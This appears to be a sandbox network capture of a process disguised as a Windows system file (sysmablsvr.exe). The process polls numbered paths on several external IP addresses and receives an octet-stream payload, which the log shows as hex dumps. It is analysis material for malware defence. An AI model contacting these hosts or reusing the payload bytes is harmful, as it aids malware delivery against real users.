Sep 17, 2024 23:11:52.370625019 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:53.080163956 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:52 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49802	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:55.113538027 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:55.821461916 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:55 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49803	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:58.061697006 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:58.781685114 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:58 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49805	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:01.827614069 CEST	163	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49807	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:05.511257887 CEST	163	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49809	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:09.245800018 CEST	163	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49810	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:12.986103058 CEST	163	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49812	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:16.809278011 CEST	163	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49814	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:20.527097940 CEST	163	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49816	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:25.451838017 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:26.509773016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:26 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:12:26.509943962 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:12:26.509984970 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:12:26.510019064 CEST	1236	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:12:26.510072947 CEST	896	IN	Data Raw: 10 0d 0b b9 5f 9d 6d e6 92 57 24 32 d1 17 e9 b2 d9 ae 0d 71 a1 d0 f5 93 db 74 24 44 1d 9c e2 88 95 42 43 e3 6d 72 fc 78 0b 0c 45 d3 b3 36 15 f1 98 ab 5f 59 68 bb c4 59 ff aa da 7d a2 ad c0 0d 7b 82 2d 3b 08 0f 12 be 08 9a 06 81 47 b2 42 9b 80 69 Data Ascii: _mW$2qt$DBCmrxE6_YhY}{-;GBiuMPyVE=hEN+kq?<'e>4bcb7Ki<=b"x5V$)VO$&<B0^MgOFzgQTfHO_T1*6vX
Sep 17, 2024 23:12:26.510107994 CEST	1236	IN	Data Raw: d9 e9 43 0b 6b 48 2c 6f eb 85 0c 3c 7c 4d c9 ae c0 bc 52 73 ec bd c7 a9 39 91 10 43 92 1c ff 68 83 1e 33 f9 15 c6 e6 fc 6b 00 df ee 1e e9 3f ce 2f 64 71 ef 38 57 62 37 0d 28 27 95 4d c5 17 70 3a b2 14 79 54 45 7c 1d b9 88 c4 37 15 85 19 1a e1 79 Data Ascii: CkH,o<\|MRs9Ch3k?/dq8Wb7('Mp:yTE\|7y/CX!{<n)0M!({>3g:fM&[Jb L`2#n9jF j$V;8^6\\I*R@%<jE\|A'1}
Sep 17, 2024 23:12:26.510144949 CEST	1236	IN	Data Raw: b2 e0 da ae 5f d8 8b 30 6a 04 5a e6 7b 42 3a 19 84 61 29 58 b0 e4 96 41 a5 63 dd ae bc 69 d2 7a 5d e8 90 8b 6b 8f 54 b8 bf 31 99 5e 9c 9f e2 c3 9c e3 4c 5f 2d a4 7a 26 ec 02 eb ee 8a bc 06 37 2f ed e4 e0 e5 fb 19 71 d5 ed 0a 22 e8 85 ae 95 50 0b Data Ascii: _0jZ{B:a)XAciz]kT1^L_-z&7/q"P&~!/F8\Y a!#lZW~soCp+Du+?l6Z=rG(r"\q-@t=PB?W^;f
Sep 17, 2024 23:12:26.510179996 CEST	1236	IN	Data Raw: aa dc f3 5d ab aa a6 de f6 98 7e 94 fd 50 fd 2f bd 67 a5 f8 d3 c6 ab c2 06 8c 90 1b 0e f6 b6 fd 58 c4 94 08 68 4f fb f2 01 01 77 a7 61 ec 03 d3 94 27 71 a7 2c 19 9f 90 bd 61 0e 94 dc 98 64 ca 97 40 76 84 64 fa 9e 9e 1f 8a 96 0c 1b b5 ab 23 bf e3 Data Ascii: ]~P/gXhOwa'q,ad@vd#2>icU>Bs^,4\g0cW\,_PckCH}?]06eS7$@YruOa:)3AgoH\/#TEW@=N?kL
Sep 17, 2024 23:12:26.510905027 CEST	672	IN	Data Raw: 76 48 63 b3 7c c8 2a 7e f3 2c e0 ce 29 83 d6 44 43 e6 0d 13 72 19 c7 e7 78 e3 7a 27 17 d1 8e e4 88 3e b4 10 9f fc dc c3 11 17 6c 67 a7 75 2c 0d f9 c4 ab ce 9f 19 30 38 6b 07 8c 59 ba 6f 17 8b 1a 9c 2f 3b e6 04 a5 03 4a 5b af c8 1f d8 81 d5 8c 8c Data Ascii: vHc\|*~,)DCrxz'>lgu,08kYo/;J[\L,m;IoY_p_1pFH'w\|gSFr+"f 1]U$g@%ATN:Nw=pf5uttn[C-Sq-+83
Sep 17, 2024 23:12:26.510940075 CEST	1236	IN	Data Raw: 2f 8d ea 9b 50 32 2d 86 33 3e 9c e3 c2 0e c9 60 f4 12 61 6e 66 43 0b 20 e5 77 67 f6 fe 31 ca 07 54 91 44 0c 19 13 82 41 e6 18 8d cd 6a 95 11 e8 9c 03 fc dc c0 e9 f0 48 8a d6 71 8d d1 44 d1 ab ca c5 e3 88 df ad cc 93 5f 3f f9 58 8f ba 5b 24 8f 2c Data Ascii: /P2-3>`anfC wg1TDAjHqD_?X[$,:RH\|P@dTF+hi28IM?fm"IP}Xz*ZSLv~_ DbXVtT0e\|Ee!A@z[ler~M0}Mm;
Sep 17, 2024 23:12:26.511456013 CEST	1236	IN	Data Raw: 01 07 93 71 31 92 22 30 04 70 a5 e8 90 f9 74 f2 19 da 91 06 bc a5 a8 f8 f6 66 39 5b 25 6e e7 65 15 a1 3c c7 78 23 e4 2e 44 b3 cf 7b 95 b6 2e 22 16 41 ce 7a 83 49 30 9d 7a b4 0a f5 40 e4 2e be 71 90 e3 2d 05 a6 23 d4 fb 62 0e 78 ac 70 8f 7b 71 7f Data Ascii: q1"0ptf9[%ne<x#.D{."AzI0z@.q-#bxp{q?>i^+-l@BduZPtgha"-\Lhxf@kSqlZ3W@Tmn$?clY+O<hJDThe/{Euv0M^aXxH/
Sep 17, 2024 23:12:26.511990070 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:26 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49817	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:28.071275949 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:28.823597908 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:28 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:12:28.823653936 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:12:28.823692083 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:12:28.823726892 CEST	672	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:12:28.823759079 CEST	1236	IN	Data Raw: ef d7 38 96 62 65 ff 37 1b e5 80 7b a6 92 b3 d8 6b 1a a4 1c 46 8b c4 3d 83 e8 d7 46 7d 63 c0 59 f7 a4 b8 0a ea 73 1f f4 b2 1d 01 bf 7c 2b 9a 99 86 fb 17 ec cd 24 c2 b6 6c de a0 1a 56 6d 11 d2 65 d2 af b5 8b 0b 67 68 0a 8b 56 a3 24 d2 9b bc a6 b2 Data Ascii: 8be7{kF=F}cYs\|+$lVmeghV$f~2:\|U.9f4U^x'+mPC0:SKK(XWDK(fnJKAwC?Tx'v]GQ/h=u3%8PjaZ3aZ
